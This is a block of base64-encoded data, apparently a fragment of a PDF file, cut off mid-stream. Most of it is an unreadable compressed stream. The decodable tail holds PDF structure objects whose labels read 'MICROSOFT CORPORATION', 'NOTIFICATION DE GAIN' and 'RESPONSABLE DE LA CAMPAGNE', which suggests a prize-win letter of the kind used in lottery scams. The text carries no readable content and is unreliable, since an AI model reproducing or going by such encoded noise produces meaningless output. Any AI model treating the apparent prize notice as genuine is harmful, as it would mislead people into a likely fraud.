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 I9gNCmVuZHN0cmVhbQ0KZW5kb2JqDQo1OCAwIG9iag0KPDwvVHlwZS9TdHJ1Y3RUcmVlUm9vdC9S b2xlTWFwIDU5IDAgUi9QYXJlbnRUcmVlIDYwIDAgUi9LWzYzIDAgUl0vUGFyZW50VHJlZU5leHRL ZXkgMT4+DQplbmRvYmoNCjU5IDAgb2JqDQo8PC9Gb290bm90ZS9Ob3RlL0VuZG5vdGUvTm90ZS9U ZXh0Ym94L1NlY3QvSGVhZGVyL1NlY3QvRm9vdGVyL1NlY3QvSW5saW5lU2hhcGUvU2VjdC9Bbm5v dGF0aW9uL1NlY3QvQXJ0aWZhY3QvU2VjdC9Xb3JrYm9vay9Eb2N1bWVudC9Xb3Jrc2hlZXQvUGFy dC9NYWNyb3NoZWV0L1BhcnQvQ2hhcnRzaGVldC9QYXJ0L0RpYWxvZ3NoZWV0L1BhcnQvU2xpZGUv UGFydC9DaGFydC9TZWN0L0RpYWdyYW0vRmlndXJlPj4NCmVuZG9iag0KNjAgMCBvYmoNCjw8L051 bXNbMCA2MSAwIFJdPj4NCmVuZG9iag0KNjEgMCBvYmoNCls2MiAwIFIgMTA4IDAgUiAxMDkgMCBS IDExMCAwIFIgNjkgMCBSIDc4IDAgUiA2NyAwIFIgNjQgMCBSIDY2IDAgUiA2OCAwIFIgNzAgMCBS IDcxIDAgUiA3MyAwIFIgNzQgMCBSIDc1IDAgUiA3NiAwIFIgNzcgMCBSIDc5IDAgUiA4MCAwIFIg ODEgMCBSIDgyIDAgUiA4MyAwIFIgODQgMCBSIDg1IDAgUiA4NSAwIFIgODUgMCBSIDg1IDAgUiA4 NSAwIFIgODUgMCBSIDg1IDAgUiA4NSAwIFIgODUgMCBSIDg1IDAgUiA4NSAwIFIgODUgMCBSIDg1 IDAgUiA4NSAwIFIgODYgMCBSIDg3IDAgUiA4OCAwIFIgODkgMCBSIDkwIDAgUiA5MSAwIFIgOTIg MCBSIDkzIDAgUiA5NCAwIFIgOTUgMCBSIDEwMSAwIFIgMTAyIDAgUiAxMDMgMCBSIDEwNCAwIFIg NjUgMCBSIDk3IDAgUiA5OCAwIFIgOTkgMCBSIDEwMCAwIFIgMTEyIDAgUiAxMTEgMCBSIDEwNSAw IFIgMTA2IDAgUiA3MiAwIFJdDQplbmRvYmoNCjYyIDAgb2JqDQo8PC9QIDYzIDAgUi9TL0ZpZ3Vy ZS9BbHQgKCkvVHlwZS9TdHJ1Y3RFbGVtL0tbMF0vUGcgMSAwIFI+Pg0KZW5kb2JqDQo2MyAwIG9i ag0KPDwvUCA1OCAwIFIvUy9QYXJ0L1R5cGUvU3RydWN0RWxlbS9LWzY0IDAgUiA2NSAwIFIgNjIg MCBSIDY2IDAgUiA2NyAwIFIgNjggMCBSIDY5IDAgUiA3MCAwIFIgNzEgMCBSIDcyIDAgUiA3MyAw IFIgNzQgMCBSIDc1IDAgUiA3NiAwIFIgNzcgMCBSIDc4IDAgUiA3OSAwIFIgODAgMCBSIDgxIDAg UiA4MiAwIFIgODMgMCBSIDg0IDAgUiA4NSAwIFIgODYgMCBSIDg3IDAgUiA4OCAwIFIgODkgMCBS IDkwIDAgUiA5MSAwIFIgOTIgMCBSIDkzIDAgUiA5NCAwIFIgOTUgMCBSIDk2IDAgUiAxMDEgMCBS IDEwMiAwIFIgMTAzIDAgUiAxMDQgMCBSIDEwNSAwIFIgMTA2IDAgUiAxMDcgMCBSIDExMSAwIFIg MTEyIDAgUl0+Pg0KZW5kb2JqDQo2NCAwIG9iag0KPDwvUCA2MyAwIFIvUy9QL1R5cGUvU3RydWN0 RWxlbS9LWzddL1BnIDEgMCBSPj4NCmVuZG9iag0KNjUgMCBvYmoNCjw8L1AgNjMgMCBSL1MvRmln dXJlL0FsdCAoTUlDUk9TT0ZUIENPUlBPUkFUSU9OXHJcbikvVHlwZS9TdHJ1Y3RFbGVtL0tbNTFd L1BnIDEgMCBSPj4NCmVuZG9iag0KNjYgMCBvYmoNCjw8L1AgNjMgMCBSL1MvUC9UeXBlL1N0cnVj dEVsZW0vS1s4XS9QZyAxIDAgUj4+DQplbmRvYmoNCjY3IDAgb2JqDQo8PC9QIDYzIDAgUi9TL0Zp Z3VyZS9BbHQgKCkvVHlwZS9TdHJ1Y3RFbGVtL0tbNl0vUGcgMSAwIFI+Pg0KZW5kb2JqDQo2OCAw IG9iag0KPDwvUCA2MyAwIFIvUy9QL1R5cGUvU3RydWN0RWxlbS9LWzldL1BnIDEgMCBSPj4NCmVu ZG9iag0KNjkgMCBvYmoNCjw8L1AgNjMgMCBSL1MvRmlndXJlL0FsdCAoaHR0cDovL2Jsb2cyYi5o b3N0aW5nLmRvdGdlZS5uZXQvYmxvZy93cC1jb250ZW50L3VwbG9hZHMvcGF5cy9ldXJvcGVfY2Fy dGUuanBnKS9UeXBlL1N0cnVjdEVsZW0vS1s0XS9QZyAxIDAgUj4+DQplbmRvYmoNCjcwIDAgb2Jq DQo8PC9QIDYzIDAgUi9TL1AvVHlwZS9TdHJ1Y3RFbGVtL0tbMTBdL1BnIDEgMCBSPj4NCmVuZG9i ag0KNzEgMCBvYmoNCjw8L1AgNjMgMCBSL1MvUC9UeXBlL1N0cnVjdEVsZW0vS1sxMV0vUGcgMSAw IFI+Pg0KZW5kb2JqDQo3MiAwIG9iag0KPDwvUCA2MyAwIFIvUy9GaWd1cmUvQWx0IChOT1RJRklD QVRJT04gREUgR0FJTlxyXG4pL1R5cGUvU3RydWN0RWxlbS9LWzYwXS9QZyAxIDAgUj4+DQplbmRv YmoNCjczIDAgb2JqDQo8PC9QIDYzIDAgUi9TL1AvVHlwZS9TdHJ1Y3RFbGVtL0tbMTJdL1BnIDEg MCBSPj4NCmVuZG9iag0KNzQgMCBvYmoNCjw8L1AgNjMgMCBSL1MvUC9UeXBlL1N0cnVjdEVsZW0v S1sxM10vUGcgMSAwIFI+Pg0KZW5kb2JqDQo3NSAwIG9iag0KPDwvUCA2MyAwIFIvUy9QL1R5cGUv U3RydWN0RWxlbS9LWzE0XS9QZyAxIDAgUj4+DQplbmRvYmoNCjc2IDAgb2JqDQo8PC9QIDYzIDAg Ui9TL1AvVHlwZS9TdHJ1Y3RFbGVtL0tbMTVdL1BnIDEgMCBSPj4NCmVuZG9iag0KNzcgMCBvYmoN Cjw8L1AgNjMgMCBSL1MvUC9UeXBlL1N0cnVjdEVsZW0vS1sxNl0vUGcgMSAwIFI+Pg0KZW5kb2Jq DQo3OCAwIG9iag0KPDwvUCA2MyAwIFIvUy9GaWd1cmUvQWx0ICgpL1R5cGUvU3RydWN0RWxlbS9L WzVdL1BnIDEgMCBSPj4NCmVuZG9iag0KNzkgMCBvYmoNCjw8L1AgNjMgMCBSL1MvUC9UeXBlL1N0 cnVjdEVsZW0vS1sxN10vUGcgMSAwIFI+Pg0KZW5kb2JqDQo4MCAwIG9iag0KPDwvUCA2MyAwIFIv Uy9QL1R5cGUvU3RydWN0RWxlbS9LWzE4XS9QZyAxIDAgUj4+DQplbmRvYmoNCjgxIDAgb2JqDQo8 PC9QIDYzIDAgUi9TL1AvVHlwZS9TdHJ1Y3RFbGVtL0tbMTldL1BnIDEgMCBSPj4NCmVuZG9iag0K ODIgMCBvYmoNCjw8L1AgNjMgMCBSL1MvUC9UeXBlL1N0cnVjdEVsZW0vS1syMF0vUGcgMSAwIFI+ Pg0KZW5kb2JqDQo4MyAwIG9iag0KPDwvUCA2MyAwIFIvUy9QL1R5cGUvU3RydWN0RWxlbS9LWzIx XS9QZyAxIDAgUj4+DQplbmRvYmoNCjg0IDAgb2JqDQo8PC9QIDYzIDAgUi9TL1AvVHlwZS9TdHJ1 Y3RFbGVtL0tbMjJdL1BnIDEgMCBSPj4NCmVuZG9iag0KODUgMCBvYmoNCjw8L1AgNjMgMCBSL1Mv UC9UeXBlL1N0cnVjdEVsZW0vS1syMyAyNCAyNSAyNiAyNyAyOCAyOSAzMCAzMSAzMiAzMyAzNCAz NSAzNl0vUGcgMSAwIFI+Pg0KZW5kb2JqDQo4NiAwIG9iag0KPDwvUCA2MyAwIFIvUy9QL1R5cGUv U3RydWN0RWxlbS9LWzM3XS9QZyAxIDAgUj4+DQplbmRvYmoNCjg3IDAgb2JqDQo8PC9QIDYzIDAg Ui9TL1AvVHlwZS9TdHJ1Y3RFbGVtL0tbMzhdL1BnIDEgMCBSPj4NCmVuZG9iag0KODggMCBvYmoN Cjw8L1AgNjMgMCBSL1MvUC9UeXBlL1N0cnVjdEVsZW0vS1szOV0vUGcgMSAwIFI+Pg0KZW5kb2Jq DQo4OSAwIG9iag0KPDwvUCA2MyAwIFIvUy9QL1R5cGUvU3RydWN0RWxlbS9LWzQwXS9QZyAxIDAg Uj4+DQplbmRvYmoNCjkwIDAgb2JqDQo8PC9QIDYzIDAgUi9TL1AvVHlwZS9TdHJ1Y3RFbGVtL0tb NDFdL1BnIDEgMCBSPj4NCmVuZG9iag0KOTEgMCBvYmoNCjw8L1AgNjMgMCBSL1MvUC9UeXBlL1N0 cnVjdEVsZW0vS1s0Ml0vUGcgMSAwIFI+Pg0KZW5kb2JqDQo5MiAwIG9iag0KPDwvUCA2MyAwIFIv Uy9QL1R5cGUvU3RydWN0RWxlbS9LWzQzXS9QZyAxIDAgUj4+DQplbmRvYmoNCjkzIDAgb2JqDQo8 PC9QIDYzIDAgUi9TL1AvVHlwZS9TdHJ1Y3RFbGVtL0tbNDRdL1BnIDEgMCBSPj4NCmVuZG9iag0K OTQgMCBvYmoNCjw8L1AgNjMgMCBSL1MvUC9UeXBlL1N0cnVjdEVsZW0vS1s0NV0vUGcgMSAwIFI+ Pg0KZW5kb2JqDQo5NSAwIG9iag0KPDwvUCA2MyAwIFIvUy9QL1R5cGUvU3RydWN0RWxlbS9LWzQ2 XS9QZyAxIDAgUj4+DQplbmRvYmoNCjk2IDAgb2JqDQo8PC9QIDYzIDAgUi9TL1RleHRib3gvVHlw ZS9TdHJ1Y3RFbGVtL0tbOTcgMCBSIDk4IDAgUiA5OSAwIFIgMTAwIDAgUl0vUGcgMSAwIFI+Pg0K ZW5kb2JqDQo5NyAwIG9iag0KPDwvUCA5NiAwIFIvUy9TcGFuL1R5cGUvU3RydWN0RWxlbS9QZyAx IDAgUi9LIDUyPj4NCmVuZG9iag0KOTggMCBvYmoNCjw8L1AgOTYgMCBSL1MvUC9UeXBlL1N0cnVj dEVsZW0vS1s1M10vUGcgMSAwIFI+Pg0KZW5kb2JqDQo5OSAwIG9iag0KPDwvUCA5NiAwIFIvUy9Q L1R5cGUvU3RydWN0RWxlbS9LWzU0XS9QZyAxIDAgUj4+DQplbmRvYmoNCjEwMCAwIG9iag0KPDwv UCA5NiAwIFIvUy9QL1R5cGUvU3RydWN0RWxlbS9LWzU1XS9QZyAxIDAgUj4+DQplbmRvYmoNCjEw MSAwIG9iag0KPDwvUCA2MyAwIFIvUy9QL1R5cGUvU3RydWN0RWxlbS9LWzQ3XS9QZyAxIDAgUj4+ DQplbmRvYmoNCjEwMiAwIG9iag0KPDwvUCA2MyAwIFIvUy9QL1R5cGUvU3RydWN0RWxlbS9LWzQ4 XS9QZyAxIDAgUj4+DQplbmRvYmoNCjEwMyAwIG9iag0KPDwvUCA2MyAwIFIvUy9QL1R5cGUvU3Ry dWN0RWxlbS9LWzQ5XS9QZyAxIDAgUj4+DQplbmRvYmoNCjEwNCAwIG9iag0KPDwvUCA2MyAwIFIv Uy9QL1R5cGUvU3RydWN0RWxlbS9LWzUwXS9QZyAxIDAgUj4+DQplbmRvYmoNCjEwNSAwIG9iag0K PDwvUCA2MyAwIFIvUy9GaWd1cmUvQWx0ICgpL1R5cGUvU3RydWN0RWxlbS9LWzU4XS9QZyAxIDAg Uj4+DQplbmRvYmoNCjEwNiAwIG9iag0KPDwvUCA2MyAwIFIvUy9GaWd1cmUvQWx0IChJc3NhYmVs bGUgQ2hldmFsaWVyKS9UeXBlL1N0cnVjdEVsZW0vS1s1OV0vUGcgMSAwIFI+Pg0KZW5kb2JqDQox MDcgMCBvYmoNCjw8L1AgNjMgMCBSL1MvVGV4dGJveC9UeXBlL1N0cnVjdEVsZW0vS1sxMDggMCBS IDEwOSAwIFIgMTEwIDAgUl0vUGcgMSAwIFI+Pg0KZW5kb2JqDQoxMDggMCBvYmoNCjw8L1AgMTA3 IDAgUi9TL1NwYW4vVHlwZS9TdHJ1Y3RFbGVtL1BnIDEgMCBSL0sgMT4+DQplbmRvYmoNCjEwOSAw IG9iag0KPDwvUCAxMDcgMCBSL1MvUC9UeXBlL1N0cnVjdEVsZW0vS1syXS9QZyAxIDAgUj4+DQpl bmRvYmoNCjExMCAwIG9iag0KPDwvUCAxMDcgMCBSL1MvUC9UeXBlL1N0cnVjdEVsZW0vS1szXS9Q ZyAxIDAgUj4+DQplbmRvYmoNCjExMSAwIG9iag0KPDwvUCA2MyAwIFIvUy9GaWd1cmUvQWx0ICgp L1R5cGUvU3RydWN0RWxlbS9LWzU3XS9QZyAxIDAgUj4+DQplbmRvYmoNCjExMiAwIG9iag0KPDwv UCA2MyAwIFIvUy9GaWd1cmUvQWx0IChSRVNQT05TQUJMRSBERSBMQSBDQU1QQUdORSkvVHlwZS9T dHJ1Y3RFbGVtL0tbNTZdL1BnIDEgMCBSPj4NCmVuZG9iag0KMTEzIDAgb2JqDQo8PC9DcmVhdG9y ICj+/wBNAGkAYwByAG8AcwBvAGYAdACuACAAVwBvAHIAZAAgADIAMAAxADMpL0tleXdvcmRzICh3 d3cuTmVldmlhLmNvbSwgRG9jdW1lbnQgQ29udmVydGVyIFBybywgQ29udmVydCB0byBQREYgb3Ig SW1hZ2UgaW4gYmF0Y2hlcyEpL1Byb2R1Y2VyIChOZWV2aWEgRG9jdW1lbnQgQ29udmVydGVyIFBy byB2Ni4zIFwoaHR0cDovL25lZXZpYS5jb21cKSkvQ3JlYXRpb25EYXRlIChEOjIwMTMwNzIyMTI0 MDU0LTA1JzAwJykvTW9kRGF0ZSAoRDoyMDEzMDcyMjEyNDA1NC0wNScwMCcpPj4NCmVuZG9iag0K MTE0IDAgb2JqDQo8PC9Db3VudCAxL1R5cGUvUGFnZXMvS2lkc1sxMTUgMCBSXT4+DQplbmRvYmoN CjExNSAwIG9iag0KPDwvVHlwZS9QYWdlcy9QYXJlbnQgMTE0IDAgUi9LaWRzWzEgMCBSXS9Db3Vu dCAxPj4NCmVuZG9iag0KMTE2IDAgb2JqDQo8PC9TdHJ1Y3RUcmVlUm9vdCA1OCAwIFIvTWFya0lu Zm88PC9NYXJrZWQgdHJ1ZT4+L1R5cGUvQ2F0YWxvZy9QYWdlcyAxMTQgMCBSL01ldGFkYXRhIDEx NyAwIFI+Pg0KZW5kb2JqDQoxMTcgMCBvYmoNCjw8L0xlbmd0aCAxNzU0L1R5cGUvTWV0YWRhdGEv U3VidHlwZS9YTUw+PnN0cmVhbQ0KPD94cGFja2V0IGJlZ2luPSfvu78nIGlkPSdXNU0wTXBDZWhp SHpyZVN6TlRjemtjOWQnPz4KPD9hZG9iZS14YXAtZmlsdGVycyBlc2M9IkNSTEYiPz4KPHg6eG1w bWV0YSB4bWxuczp4PSdhZG9iZTpuczptZXRhLycgeDp4bXB0az0nMy4xLTcwMic+CjxyZGY6UkRG IHhtbG5zOnJkZj0naHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyc+ CjxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSdDOTgwMkExQy02N0MxLTEzM0QtNzU0OC0wMzA4 NzU2MjA3MUMnIHhtbG5zOnBkZj0naHR0cDovL25zLmFkb2JlLmNvbS9wZGYvMS4zLyc+PHBkZjpL ZXl3b3Jkcz53d3cuTmVldmlhLmNvbSwgRG9jdW1lbnQgQ29udmVydGVyIFBybywgQ29udmVydCB0 